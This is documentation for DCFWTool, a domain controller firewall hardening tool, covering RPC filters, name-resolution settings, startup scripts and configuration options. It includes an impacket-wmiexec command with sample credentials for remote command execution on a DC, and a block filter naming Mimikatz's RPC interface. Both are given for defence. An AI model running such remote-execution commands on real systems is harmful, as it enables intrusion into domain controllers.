The ServerLevelPluginDll operation of the MS-DNSP protocol can be misused to remotely execute code on domain controllers, which makes this protocol interesting from the attacker’s perspective. Although the built-in Windows tools only use the TCP/IP transport, the protocol is exposed over the \PIPE\DNSSERVER named pipe as well. The latter transport layer could be blocked by executing the following sequence of netsh.exe commands:

rpc filter
add rule layer=um actiontype=block filterkey=50754fe4-aa2d-42ff-8196-e90ea8fd2527
add condition field=protocol matchtype=equal data=ncacn_np
add condition field=if_uuid matchtype=equal data=50abc2a4-574d-40b3-9d66-ee4fd5fba076
add filter

[MS-WMI]: Windows Management Instrumentation Remote Protocol

The [MS-WMI]: Windows Management Instrumentation Remote Protocol protocol is often used by administrators for remote system administration and monitoring:

(Get-WmiObject -ClassName Win32_OperatingSystem -ComputerName dc01 -Property Caption).Caption

Microsoft Windows Server 2022 Standard

The protocol is also popular among malicious actors to perform remote command execution:

impacket-wmiexec 'contoso/Admin:Pa$$w0rd@dc01' hostname

Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
DC01

Although the output of the tool might suggest that WMI traffic can be tunneled through SMB named pipes as well, it is fortunately not true and the WMI protocol can effectively be blocked using Windows Firewall. To further mitigate the threat of remote malicious command execution over WMI, it is recommended to turn on the following Microsoft Defender Attack Surface Reduction (ASR) rules:

• Block process creations originating from PSExec and WMI commands
• Block persistence through WMI event subscription

Malicious C2 Protocols and Backdoors

Some malicious tools can use the RPC protocol as a Command and Control (C2) channel. One such example is the infamous Mimikatz tool, which can be remotely controlled through the MimiCom interface with UUID 17FC11E9-C258-4B8D-8D07-2F4125156244. One could of course block this interface using the following RPC filter:

rpc filter
add rule layer=um actiontype=block filterkey=644291ca-9530-4066-b654-e7b838ebdc06
add condition field=if_uuid matchtype=equal data=17FC11E9-C258-4B8D-8D07-2F4125156244
add filter

Unfortunately, this approach would be futile, as serious adversaries would never use a well-known protocol identifier.

Further Protocol Considerations

The following protocols need to be investigated in the future, as they are open to all domain controller clients:

• [MS-TSTS]: Terminal Services Terminal Server Runtime Interface Protocol
• [MS-RSP]: Remote Shutdown Protocol
• [MS-DCOM]: Distributed Component Object Model (DCOM) Remote Protocol, specifically the ShellWindows, ShellBrowserWindow, and MMC20 objects.
• [MS-RRP]: Windows Remote Registry Protocol

Additional Reading on RPC

• MSRPC-To-ATT&CK
• A Definitive Guide to the Remote Procedure Call (RPC) Filter
• server22_rpc_servers_scrape.csv

IPSec Rules

IPSec (Internet Protocol Security) provides means to ensure the confidentiality, integrity, and authenticity of data transmissions. The deployment of IPSec in transport mode therefore used to be an integral part of enterprise security baselines. However, this IPSec mode has turned out to be too complex to implement for the majority of organizations. Moreover, native encryption layers have been added to protocols like SMB, RDP, and RPC, making IPSec mostly redundant in Windows networks.

One of the few exceptions is the DNS protocol, where not even the DNSSEC extension makes it immune to man-in-the-middle (MITM) attacks. And while Windows contains rich configuration options for securing DNS traffic in corporate networks using IPSec, the industry seems to have chosen DNS over HTTPS (DoH) to protect DNS traffic in public networks instead. We can only hope for the DoH support in Windows Server and access points with captive portals to improve in the near future so that DoH can seamlessly be enforced on corporate devices.

As a conclusion, most organizations should not even consider deploying IPSec in transport mode. They should rather focus on properly configuring the security measures that are already available in application protocols, but are not enabled by default.

Name Resolution Protocols

While the Domain Name System (DNS) is the primary protocol used for name resolution in Windows, the Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBNS) protocols are used as fallback. Support for Multicast DNS (mDNS) has been added in Windows 10. These 3 peer name resolution protocols are enabled by default and are often abused by malicious actors. By sending spoofed responses, they are able to redirect network traffic to their devices and perform MITM attacks against insecure network protocols like SMB or NTLM. It is therefore strongly recommended to disable the LLMNR, NBNS, and mDNS protocols, especially on sensitive systems like domain controllers.

Disabling the LLMNR protocol is straightforward, as there is a built-in Group Policy setting available, located in Computer Configuration → Policies → Administrative Templates → Network → DNS Client → Turn off multicast name resolution. This setting is catalogued in the Windows security baseline under ID AZ-WIN-00145. Contrary to its name, this setting has no effect on the mDNS protocol.

If the mDNS protocol is to be disabled as well, this undocumented registry setting must be used:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNSCache\Parameters
Registry value: EnableMDNS
Value type: REG_DWORD
Value data: 0

To simplify the deployment of this setting, it has been added to the DomainControllerFirewall.admx custom template.

The NBNS protocol is more complicated to deal with. Historically, it could only be disabled on a per-adapter basis. Startup scripts performing WMI calls are therefore often used by enterprises. Below is an example of such a script:

Get-WmiObject -Class Win32_NetworkAdapterConfiguration `
              -Filter 'TcpipNetbiosOptions IS NOT NULL' |
    Invoke-WmiMethod -Name SetTcpipNetbios -ArgumentList 2

The SecGuide.admx template, which is part of the Security Compliance Toolkit (SCT), contains a similar setting called NetBT NodeType configuration and its recommended value is P-Node. Below is the corresponding registry setting:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netbt\Parameters Registry value: NodeType
Value type: REG_DWORD
Value data: 2

Since Windows 11, there is yet another NBNS-related Group Policy setting available, but it does not seem to actually work. It is located under Computer Configuration → Policies → Administrative Templates → Network → DNS Client → Configure NetBIOS settings. This is the corresponding registry setting:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\DNSClient Registry value: EnableNetbios
Value type: REG_DWORD
Value data: 0

DCFWTool Distribution Contents

Below is a list of all files that are part of the solution, with their respective paths and brief descriptions.

DCFWTool\Set-ADDSFirewallPolicy.ps1

PowerShell script for deploying the DC Firewall GPO.

DCFWTool\Set-ADDSFirewallPolicy.Starter.json

Initial minimalistic configuration file that should be renamed to Set-ADDSFirewallPolicy.json and edited before the Set-ADDSFirewallPolicy.ps1 script is executed.

DCFWTool\Set-ADDSFirewallPolicy.Sample.json

Sample configuration file containing all supported configuration options.

DCFWTool\Set-ADDSFirewallPolicy.schema.json

Schema file for the JSON configuration files.

DCFWTool\RpcNamedPipesFilters.txt

netsh.exe script for creating RPC filters.

DCFWTool\PolicyDefinitions\DomainControllerFirewall.admx

GPO template file for custom configuration settings.

DCFWTool\PolicyDefinitions\MSS-legacy.admx

GPO template file for MSS (Legacy) settings.

DCFWTool\PolicyDefinitions\SecGuide.admx

GPO template file for MS Security Guide settings.

DCFWTool\PolicyDefinitions\en-US\DomainControllerFirewall.adml

English localization file for the DomainControllerFirewall.admx template.

DCFWTool\PolicyDefinitions\en-US\MSS-legacy.adml

English localization file for the MSS-legacy.admx template.

DCFWTool\PolicyDefinitions\en-US\SecGuide.adml

English localization file for the SecGuide.admx template.

GPOReport.html

Sample Group Policy HTML report with all GPO settings configured by the tool.

inbound-builtin-firewall-rules.csv

List of all built-in FW rules utilized (not necessarily enabled) by the tool.

inbound-custom-firewall-rules.csv

List of all custom FW rules utilized by the tool.

additional-roles-firewall-rules.csv

List of built-in FW rules required by additional server roles supported by the tool.

DCFWTool\Show-WindowsFirewallLog.ps1

PowerShell script for reading Windows Firewall log files.

Group Policy Object Contents

The Group Policy Object created and managed by the DCFWTool contains a lot of settings, including firewall rules, registry values, and a startup script. This chapter contains a detailed description of these configuration items.

Windows Firewall Configuration

Based on the configured options in the Set-ADDSFirewallPolicy.json configuration file, the resulting GPO will contain the following Windows Firewall settings applied to all profiles:

• Turn on the Windows Firewall
• Block inbound connections by default
• Disable local firewall rules
• Log dropped packets
• Log allowed packets
• Log file location
• Maximum log file size
• Enable local IPSec rule merge

A complete list of inbound firewall rules created by the tool is available in the last chapter.

Registry Settings

Based on the configured options in the Set-ADDSFirewallPolicy.json configuration file, the GPO will contain a number of registry settings. Most of them are managed, which means that once the GPO is not linked to the target, the settings revert back to the default state. Some of them are unmanaged though and require attention when being reverted back to system defaults.

The following registry-based network settings recommended by Microsoft are always configured:

Note that support for these settings is added by the MSS Legacy administrative template.

Administrative Templates

The following ADMX files and their respective English ADML files are copied to the Central ADMX Store if it exists:

DomainControllerFirewall.admx

This custom ADMX template enables configuration of the following settings:

NTDS Static Port

Computer Configuration → Administrative Templates → RPC Static Ports → Domain Controller: Active Directory RPC static port

Netlogon Static Port

Computer Configuration → Administrative Templates → RPC Static Ports → Domain Controller: Netlogon static port

FRS Static Port

Computer Configuration → Administrative Templates → RPC Static Ports → Domain Controller: File Replication Service (FRS) static port

mDNS Configuration

Computer Configuration → Administrative Templates → Network → DNS Client → Turn off Multicast DNS (mDNS) client

SecGuide.admx

This template is provided by Microsoft as part of the Security Compliance Toolkit.

The corresponding settings can be found under Computer Configuration → Administrative Templates → MS Security Guide.

MSS-legacy.admx

The MSS (Legacy) template is provided by Microsoft as part of the Security Compliance Toolkit.

The corresponding settings can be found under Computer Configuration → Administrative Templates → MSS (Legacy).

Startup Script

The managed GPO also contains a startup script called FirewallConfiguration.bat, which is used to configure some firewall-related settings that cannot be deployed through declarative Group Policy extensions. The script is automatically generated based on the configuration defined in the Set-ADDSFirewallPolicy.json and it may execute the following actions:

• Configure a fixed port for Windows Management Instrumentation (WMI).
• Install DFS Management tools, if not already present on the machine.
• Set up a static port for the Distributed File System Replication (DFSR).
• Create a firewall log file and set appropriate permissions on it.
• Register remote procedure call (RPC) filters.

The batch file format is intentionally used instead of a Powershell script to avoid potential issues with the execution policy.

WMI Static Port

Depending on the WmiStaticPort setting, the startup script will reconfigure the WMI service to run in a standalone process listening on TCP port 24158 with the authentication level set to RPC_C_AUTHN_LEVEL_PKT_PRIVACY. This is achieved by executing the following command:

winmgmt.exe /standalonehost 6

DFSR Static Port

Depending on the DfsrStaticPort setting, the startup script will ensure that the optional DFS Management tools are installed:

if not exist "%SystemRoot%\system32\dfsrdiag.exe" (
  dism.exe /Online /Enable-Feature /FeatureName:DfsMgmt
)

Next, it will configure the DFSR to use a static port:

dfsrdiag.exe StaticRPC /Port:5722

Firewall Log File

Due to a known bug in Windows, it is not enough to enable dropped packet logging through the Windows Firewall settings dialog window.

The log file needs to be created manually and write permissions must be granted to the firewall service. The startup script takes care of this additional step by executing the command line below:

netsh.exe advfirewall set allprofiles logging filename "%systemroot%\system32\logfiles\firewall\pfirewall.log"

The optional LogFilePath setting can be used if the default log path is undesirable.

RPC Filters Script

If the EnableRpcFilters setting is configured, the startup script will register all RPC filters defined in the RpcNamedPipesFilters.txt file by running the following command:

netsh.exe -f "%~dp0RpcNamedPipesFilters.txt"

The RpcNamedPipesFilters.txt file will be located in the Startup directory of the GPO:

NPS Fix for Downlevel Windows Servers

Due to a known bug in downlevel Windows versions, Windows Server 2022 firewall rules related to the Network Policy Server (NPS) do not work in Windows Server 2019 and 2016.

If the presence of Network Policy Server is indicated using the EnableNPS setting, the startup script will contain a simple fix for this issue:

sc.exe sidtype IAS unrestricted

The command enables the NPS service to be targeted by firewall rules.

Sample Startup Scripts

Here is an example of a full startup script generated by the DCFWTool:

@ECHO OFF
REM This script is managed by the Set-ADDSFirewallPolicy.ps1 PowerShell script.

echo Move the WMI service to a standalone process listening on TCP port 24158 with authentication level set to RPC_C_AUTHN_LEVEL_PKT_PRIVACY.
winmgmt.exe /standalonehost 6

echo Install the dfsrdiag.exe tool if absent.
if not exist "%SystemRoot%\system32\dfsrdiag.exe" (
    dism.exe /Online /Enable-Feature /FeatureName:DfsMgmt
)

echo Set static RPC port for DFS Replication.
dfsrdiag.exe StaticRPC /Port:5722

echo Create the firewall log file and configure its DACL.
netsh.exe advfirewall set allprofiles logging filename "%systemroot%\system32\logfiles\firewall\pfirewall.log"

echo Register the RPC filters.
netsh.exe -f "%~dp0RpcNamedPipesFilters.txt"

echo Fix the NPS service to work with Windows Firewall on downlevel Windows Server versions.
sc.exe sidtype IAS unrestricted

And here is a script applying inverted settings:

@ECHO OFF
REM This script is managed by the Set-ADDSFirewallPolicy.ps1 PowerShell script.

echo Move the WMI service into the shared Svchost process.
winmgmt.exe /sharedhost

echo Install the dfsrdiag.exe tool if absent.
if not exist "%SystemRoot%\system32\dfsrdiag.exe" (
    dism.exe /Online /Enable-Feature /FeatureName:DfsMgmt
)

echo Set dynamic RPC port for DFS Replication.
dfsrdiag.exe StaticRPC /Port:0

echo Create the firewall log file and configure its DACL.
netsh.exe advfirewall set allprofiles logging filename "%systemroot%\system32\logfiles\firewall\pfirewall.log"

echo Remove all RPC filters.
netsh.exe rpc filter delete filter filterkey=all

Configuration

Configuration File

The Set-ADDSFirewallPolicy.ps1 script expects a configuration file called Set-ADDSFirewallPolicy.json to be present in the same directory. To prevent accidental execution of the script with default settings, the configuration file does not exist by default and needs to be created manually before deployment.

To simplify the task of creation of a custom configuration file, the DCFWTool comes with 2 sample files:

• Set-ADDSFirewallPolicy.Starter.json

Contains only the minimum settings required for firewall policy deployment. It is recommended to rename the file to Set-ADDSFirewallPolicy.json and to add any additional customizations of the policy object to be deployed.

• Set-ADDSFirewallPolicy.Sample.json

  Contains all the possible configuration items with sample values. It is essential to thoroughly review and adjust all the settings. This sample file should never be used “AS IS”.

Here is a sample configuration file containing all the possible settings:

{
  "$schema": "Set-ADDSFirewallPolicy.schema.json",
  "GroupPolicyObjectName": "Domain Controller Firewall",
  "TargetDomain": "contoso.com",
  "GroupPolicyObjectComment": "This GPO is managed by the Set-ADDSFirewallPolicy.ps1 PowerShell script.",
  "LogDroppedPackets": true,
  "LogAllowedPackets": false,
  "LogFilePath": "%systemroot%\\system32\\logfiles\\firewall\\pfirewall.log",
  "LogMaxSizeKilobytes": 16384,
  "ClientAddresses": [ "203.0.113.0/24", "198.51.100.0/24" ],
  "ManagementAddresses": [ "198.51.100.0/24" ],
  "DomainControllerAddresses": [ "192.0.2.0/24" ],
  "RadiusClientAddresses": $null,
  "NtdsStaticPort": 38901,
  "NetlogonStaticPort": 38902,
  "FrsStaticPort": 38903,
  "DfsrStaticPort": 5722,
  "WmiStaticPort": true,
  "DisableNetbiosBroadcasts": true,
  "DisableLLMNR": true,
  "DisableMDNS": true,
  "BlockManagementFromDomainControllers": false,
  "EnableServiceManagement": true,
  "EnableEventLogManagement": true,
  "EnableScheduledTaskManagement": true,
  "EnableWindowsRemoteManagement": true,
  "EnablePerformanceLogAccess": true,
  "EnableOpenSSHServer": false,
  "EnableRemoteDesktop": true,
  "EnableDiskManagement": true,
  "EnableBackupManagement": true,
  "EnableFirewallManagement": false,
  "EnableComPlusManagement": false,
  "EnableLegacyFileReplication": false,
  "EnableNetbiosNameService": false,
  "EnableNetbiosDatagramService": false,
  "EnableNetbiosSessionService": false,
  "EnableWINS": false,
  "EnableDhcpServer": false,
  "EnableNPS": false,
  "EnableKMS": false,
  "EnableWSUS": false,
  "EnableWDS": false,
  "EnableWebServer": false,
  "EnablePrintSpooler": false,
  "EnableFSRMManagement": false,
  "EnableNetworkProtection": true,
  "BlockWmiCommandExecution": true,
  "EnableRpcFilters": true,
  "EnableLocalIPsecRules": false,
  "CustomRuleFileNames": [
      "CustomRules.BackupAgent.ps1",
      "CustomRules.ManagementAgent.ps1"
   ]
}

To further simplify the modification of configuration files, the solution contains a JSON schema file called Set-ADDSFirewallPolicy.schema.json, which provides code completion support to modern IDEs like VS Code:

Dealing with GPO Tattooing

Some firewall-related settings are not removed from the domain controllers after they fall out of the scope of the GPO. These changes are thus permanent and require manual removal. Such settings are called unmanaged and the resulting behavior is known as GPO tattooing. To address this issue, the DCFWTool configuration files use ternary logic:

• true ⇒ The setting is enabled by the GPO.
• false ⇒ The setting is disabled by the GPO.
• null ⇒ The local setting is not changed by the GPO.

As a consequence, before the value of an unmanaged setting can be changed from true to null, it must temporarily be set to false. Keep in mind that it may take time for the new settings to propagate to all domain controllers due to replication latency. Additionally, some settings may require a reboot.

The following settings in this project are known to cause tattooing:

• NtdsStaticPort
• NetlogonStaticPort
• FrsStaticPort
• DfsrStaticPort
• WmiStaticPort
• DisableNetbiosBroadcasts
• DisableMDNS
• EnableRpcFilters

All settings in the MSS Legacy administrative template are unmanaged as well.

The remainder of this chapter contains documentation to all the settings supported by the DCFWTool.

GroupPolicyObjectName

The name of the Group Policy Object (GPO) that will be created or updated.

Type: String
Required: true
Default value: "Domain Controller Firewall"

Feel free to change it so that it complies with your naming convention.

GroupPolicyObjectComment

The comment text that will be visible on the GPO object.

Type: String
Required: false
Default value: "This GPO is managed by the Set-ADDSFirewallPolicy.ps1 PowerShell script."

TargetDomain

FQDN of the domain in which the Group Policy Object (GPO) will be created or updated.

Type: String
Required: false
Default value: null

This setting is only useful in multi-domain forests. If not specified, the script will attempt to determine the domain of the local computer.

LogDroppedPackets

Indicates whether the packets dropped by the firewall should be logged.

Type: Boolean
Required: false
Default value: false
Recommended value: true
Possible values: true / false

If true, all dropped packets will be logged into the firewall text log.

If false, dropped packets will not be logged.

LogAllowedPackets

Indicates whether the packets allowed by the firewall should be logged.

Type: Boolean
Required: false
Default value: false
Recommended value: false
Possible values: true / false

If true, all allowed packets will be logged into the firewall text log.

If false, allowed packets will not be logged.

LogFilePath

Specifies the path to the log file that will be used to store information about the allowed and/or dropped packets if logging is enabled.

Type: String
Required: false
Default value: %systemroot%\\system32\\logfiles\\firewall\\pfirewall.log

The provided value will be used by the startup script to configure the log.

As all 3 profiles (Domain/Private/Public) are configured identically, a shared log file is created for all of them. This is to allow easier search, troubleshooting, and ingestion by log collectors.

LogMaxSizeKilobytes

Sets the maximum size of the firewall log in kilobytes (KB).

Type: Integer
Required: false
Default value: 128
Recommended value: 16384
Possible values: 1 - 32767

The file won’t grow beyond this size; when the limit is reached, old log entries are deleted to make room for the newly created ones.

To be compliant with security standards like STIG or CIS, set this value to at least 16384.

ClientAddresses

List of client IP addresses from which inbound traffic should be allowed.

Type: String[]
Required: false
Default value: [ "Any" ]

Possible values: IPv4 address, IPv4 subnet or IPv4 address range, separated by a comma, e.g., “10.220.2.0/24”, “10.220.4.0/24”, “10.220.5.0/24”, “192.168.0.1-192.168.0.10”. Supports also “Any” as an input.

Specify IPv4 address, IPv4 subnet or address range of all your clients. Anything that acts as a client from a DC perspective is considered a client here, so you should specify all your server and user/client subnets. Everything that needs to interact with your DCs should be included here, except for other DCs and secure endpoints (PAWs) used to manage Domain Controllers or Tier 0 in general.

ManagementAddresses

List of IP addresses from which inbound management traffic should be allowed.

Type: String[]
Required: false
Default value: [ "Any" ]

Possible values: IPv4 address, IPv4 subnet or IPv4 address range, separated by a comma, e.g., “10.220.2.0/24”, “10.220.4.0/24”, “10.220.5.0/24”, “192.168.0.1-192.168.0.10”.

Specify IPv4 address, IPv4 subnet or address range of all secure endpoints (PAWs) used to manage Domain Controllers or Tier 0 in general.

DomainControllerAddresses

List of domain controller IP addresses, between which replication and management traffic will be allowed.

Type: String[]
Required: false
Default value: [ "Any" ]

Possible values: IPv4 address, IPv4 subnet or IPv4 address range, separated by a comma, e.g., “10.220.2.0/24”, “10.220.4.0/24”, “10.220.5.0/24”, “192.168.0.1-192.168.0.10”.

Specify IPv4 address, IPv4 subnet or address range of all your Domain Controllers in the forest.

NtdsStaticPort

Static TCP port to be used for inbound Active Directory RPC traffic.

Type: Integer
Default value: null
Recommended value: 38901
Possible values: null / 0 / 1024 - 49151

If a non-zero value is provided for this setting, the Active Directory (NTDS) service will be listening on this static TCP port.

If set to 0 (zero), a dynamic TCP port in the 49152 – 65535 range will be used by the NTDS service, which is the default behavior.

If null, this setting will not be managed by the GPO.

NetlogonStaticPort

Static TCP port to be used for inbound Netlogon traffic.

Type: Integer
Default value: null
Recommended value: 38902
Possible values: null / 0 / 1024 - 49151

If a non-zero value is provided for this setting, the Netlogon service will be listening on this static TCP port.

If set to 0 (zero), a dynamic TCP port in the 49152 – 65535 range will be used by the Netlogon service, which is the default behavior.

If null, this setting will not be managed by the GPO.

FrsStaticPort

Static TCP port to be used for legacy FRS traffic.

Type: Integer
Default value: null
Recommended value: 38903
Possible values: null / 0 / 1024 - 49151

If a non-zero value is provided for this setting, the legacy File Replication Service (FRS) will be listening on this static TCP port.

If set to 0 (zero), a dynamic TCP port in the 49152 – 65535 range will be used by the FRS service, which is the default behavior.

If null, this setting will not be managed by the GPO.

DfsrStaticPort

Static TCP port to be used for DFSR traffic.

Type: Integer
Default value: null
Recommended value: 5722
Possible values: null / 0 / 1024 - 49151

If a non-zero value is provided for this setting, the DFS Replication (DFSR) service will be listening on this static TCP port.

If set to 0 (zero), a dynamic TCP port in the 49152 – 65535 range will be used by the DFSR service, which is the default behavior.

If null, this setting will not be managed by the GPO.

WmiStaticPort

Indicates whether inbound Windows Management Instrumentation (WMI) traffic should use a static TCP port.

Type: Boolean
Required: false
Default value: null
Recommended value: true
Possible values: true / false / null

If true, the WMI service will be configured to listen on the static 24158 TCP port and the RPC_C_AUTHN_LEVEL_PKT_PRIVACY option will be enforced to prevent MITM network-based attacks.

If false, the WMI service will be configured to use a dynamic TCP port in the 49152 – 65535 range, which is the default behavior.

If null, this setting will not be managed by the GPO.

DisableNetbiosBroadcasts

Indicates whether the NetBIOS protocol should be switched to P-node (point-to-point) mode.

Type: Boolean
Required: false
Default value: null
Recommended value: true
Possible values: true / false / null

If true, the NetBIOS node type will be set to P-node by the respective GPO registry setting.

If false, the NetBIOS node type will be set to H-node (hybrid), which is the default behavior.

If null NetBIOS node type will not be managed by the GPO.

DisableLLMNR

Indicates whether the Link-Local Multicast Name Resolution (LLMNR) client should be disabled.

Type: Boolean
Required: false
Default value: false
Recommended value: true
Possible values: true / false

If true, the Link-Local Multicast Name Resolution (LLMNR) will be disabled by the respective GPO registry setting.

If false, the LLMNR service will not be managed by the GPO.

DisableMDNS

Indicates whether the Multicast DNS (mDNS) client should be disabled.

Type: Boolean
Required: false
Default value: null
Recommended value: true
Possible values: true / false / null

If true, the Multicast DNS (mDNS) client will be disabled by the respective GPO registry setting.

If false, the mDNS client will be enabled by the respective GPO registry setting.

If null, the mDNS protocol will not be managed by the GPO.

BlockManagementFromDomainControllers

Indicates whether management traffic from other domain controllers should be blocked.

Type: Boolean
Required: false
Default value: false
Recommended value: true
Possible values: true / false

If true, management traffic will be blocked between Domain Controllers. The IP addresses of DCs will not be listed in the following remote management firewall rules in the target GPO:

• Active Directory Web Services (TCP-In)
• Windows Remote Management (HTTP-In)
• Windows Remote Management (HTTPS-In)
• Windows Management Instrumentation (WMI-In)
• Remote Desktop - User Mode (UDP-In)
• Remote Desktop - User Mode (TCP-In)
• Remote Desktop (TCP-In)
• DFS Management (TCP-In)
• RPC (TCP, Incoming)
• Windows Backup (RPC)
• Performance Logs and Alerts (TCP-In)
• COM+ Remote Administration (DCOM-In)
• Remote Event Log Management (RPC)
• Remote Scheduled Tasks Management (RPC)
• Remote Service Management (RPC)
• Remote Volume Management - Virtual Disk Service (RPC)
• Remote Volume Management - Virtual Disk Service Loader (RPC)
• Windows Defender Firewall Remote Management (RPC)
• Windows Internet Naming Service (WINS) - Remote Management (RPC)
• DHCP Server (RPC-In)
• Network Policy Server (RPC)
• Remote File Server Resource Manager Management - FSRM Service (RPC-In)
• Remote File Server Resource Manager Management - FSRM Reports Service (RPC-In)
• OpenSSH SSH Server (sshd)

If false, the IP addresses of domain controllers will be added to the firewall rules above. As a result, management traffic between DCs will be allowed.

EnableServiceManagement

Indicates whether remote service management should be enabled.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the Remote Service Management (RPC) firewall rule will be enabled in the target GPO.

If false, this rule will be disabled.

EnableEventLogManagement

Indicates whether remote event log management should be enabled.

Type: Boolean
Required: false
Default value: true
Recommended value: true
Possible values: true / false

If true, the Remote Event Log Management (RPC) firewall rule will be enabled in the target GPO.

If false, this rule will be disabled.

EnableScheduledTaskManagement

Indicates whether remote scheduled task management should be enabled.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the Remote Scheduled Tasks Management (RPC) firewall rule will be enabled in the target GPO.

If false, this rule will be disabled.

EnableWindowsRemoteManagement

Indicates whether inbound Windows Remote Management (WinRM) traffic should be enabled.

Type: Boolean
Required: false
Default value: true
Recommended value: true
Possible values: true / false

If true, the following WinRM firewall rules will be enabled in the target GPO:

• Windows Remote Management (HTTP-In)
• Windows Remote Management (HTTPS-In)

If false, the WinRM rules will be disabled.

The WinRM protocol is used by PowerShell Remoting, Server Manager, and PowerShell CIM cmdlets.

EnablePerformanceLogAccess

Indicates whether remote performance log access should be enabled.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the Performance Logs and Alerts (TCP-In) firewall rule will be enabled in the target GPO.

If false, this rule will be disabled.

EnableOpenSSHServer

Indicates whether inbound OpenSSH traffic should be enabled.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the OpenSSH SSH Server (sshd) firewall rule will be enabled in the target GPO.

If false, this OpenSSH rule will be disabled.

EnableRemoteDesktop

Indicates whether inbound Remote Desktop Protocol (RDP) traffic should be enabled.

Type: Boolean
Required: false
Default value: true
Recommended value: true
Possible values: true / false

If true, the following RDP firewall rules will be enabled in the target GPO:

• Remote Desktop - User Mode (TCP-In)
• Remote Desktop - User Mode (UDP-In)
• Remote Desktop (TCP-In)

If false, these RDP rules will be disabled.

EnableDiskManagement

Indicates whether remote disk management should be enabled.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the following firewall rules will be enabled in the target GPO:

• Remote Volume Management - Virtual Disk Service Loader (RPC)
• Remote Volume Management - Virtual Disk Service (RPC)

If false, these rules will be disabled.

EnableBackupManagement

Indicates whether remote management of Windows Server Backup should be enabled.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the Windows Backup (RPC) firewall rule will be enabled in the target GPO.

If false, this firewall rule will be disabled.

EnableFirewallManagement

Indicates whether remote firewall management should be enabled.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the Windows Defender Firewall Remote Management (RPC) firewall rule will be enabled in the target GPO.

If false, this rule will be disabled.

EnableComPlusManagement

Indicates whether inbound COM+ management traffic should be enabled.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the COM+ Remote Administration (DCOM-In) firewall rule will be enabled in the target GPO.

If false, this rule will be disabled.

See Microsoft’s documentation on COM+ applications for more details.

EnableLegacyFileReplication

Indicates whether inbound legacy file replication traffic should be enabled.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the File Replication (RPC) firewall rule will be enabled in the target GPO. This is required in domains where the SYSVOL replication has not been migrated from the legacy FRS to DFSR.

If false, this firewall rule will be disabled.

EnableNetbiosNameService

Indicates whether inbound NetBIOS Name Service should be allowed.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the File and Printer Sharing (NB-Name-In) firewall rule will be enabled in the target GPO.

If false, this rule will be disabled.

EnableNetbiosDatagramService

Indicates whether inbound NetBIOS Datagram Service traffic should be allowed.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the Active Directory Domain Controller - NetBIOS name resolution (UDP-In) firewall rule will be enabled in the target GPO.

If false, this rule will be disabled.

EnableNetbiosSessionService

Indicates whether inbound NetBIOS Session Service (NBSS) traffic should be allowed.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the File and Printer Sharing (NB-Session-In) firewall rule will be enabled in the target GPO.

If false, this rule will be disabled.

EnableWINS

Indicates whether inbound Windows Internet Name Service (WINS) traffic should be allowed.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the following WINS firewall rules will be enabled in the target GPO:

• Windows Internet Naming Service (WINS) (TCP-In)
• Windows Internet Naming Service (WINS) (UDP-In)
• Windows Internet Naming Service (WINS) - Remote Management (RPC)

If false, these rules will be disabled.

EnableDhcpServer

Indicates whether inbound Dynamic Host Configuration Protocol (DHCP) server traffic should be allowed.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the following DHCP server firewall rules will be enabled in the target GPO:

• DHCP Server v4 (UDP-In)
• DHCP Server v6 (UDP-In)
• DHCP Server Failover (TCP-In)
• DHCP Server (RPC-In)

If false, these rules will be disabled.

EnableNPS

Indicates whether inbound Network Policy Server (NPS) / RADIUS traffic should be allowed.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the following NPS-related firewall rules will be enabled in the target GPO:

• Network Policy Server (Legacy RADIUS Authentication - UDP-In)
• Network Policy Server (Legacy RADIUS Accounting - UDP-In)
• Network Policy Server (RADIUS Authentication - UDP-In)
• Network Policy Server (RADIUS Accounting - UDP-In)
• Network Policy Server (RPC)

If false, NPS-related firewall rules will be disabled.

RadiusClientAddresses

List of RADIUS client IP addresses, from which the traffic will be allowed.

Type: String[]
Required: false
Default value: [ "Any" ]

Possible values: IPv4 address, IPv4 subnet or IPv4 address range, separated by a comma, e.g. “10.220.2.0/24”, “10.220.4.0/24”, “10.220.5.0/24”, “192.168.0.1-192.168.0.10”.

Specify IPv4 address, IPv4 subnet or address range of all your RADIUS clients.

EnableKMS

Indicates whether inbound Key Management Service (KMS) traffic should be allowed.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the Key Management Service (TCP-In) firewall rule will be enabled in the target GPO.

If false, this rule will be disabled.

EnableWSUS

Indicates whether inbound Windows Server Update Services (WSUS) traffic should be allowed.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, these WSUS firewall rules will be enabled in the GPO:

• Windows Server Update Services (HTTP-In)
• Windows Server Update Services (HTTPS-In)

If false, the WSUS rules will be disabled.

EnableWDS

Indicates whether inbound Windows Deployment Services (WDS) traffic should be allowed.

Type: Boolean
Required: false
Default value: true
Recommended value: false
Possible values: true / false

If true, the following WDS firewall rules will be enabled in the target GPO:

• Windows Deployment Services (UDP-In)
• Windows Deployment Services (RPC-In)

If false, the WDS rules will be disabled.

EnableWebServer

Indicates whether inbound http.sys-based web server traffic on default HTTP and HTTPS ports should be allowed.

Type: Boolean
Required: false
Default value: true
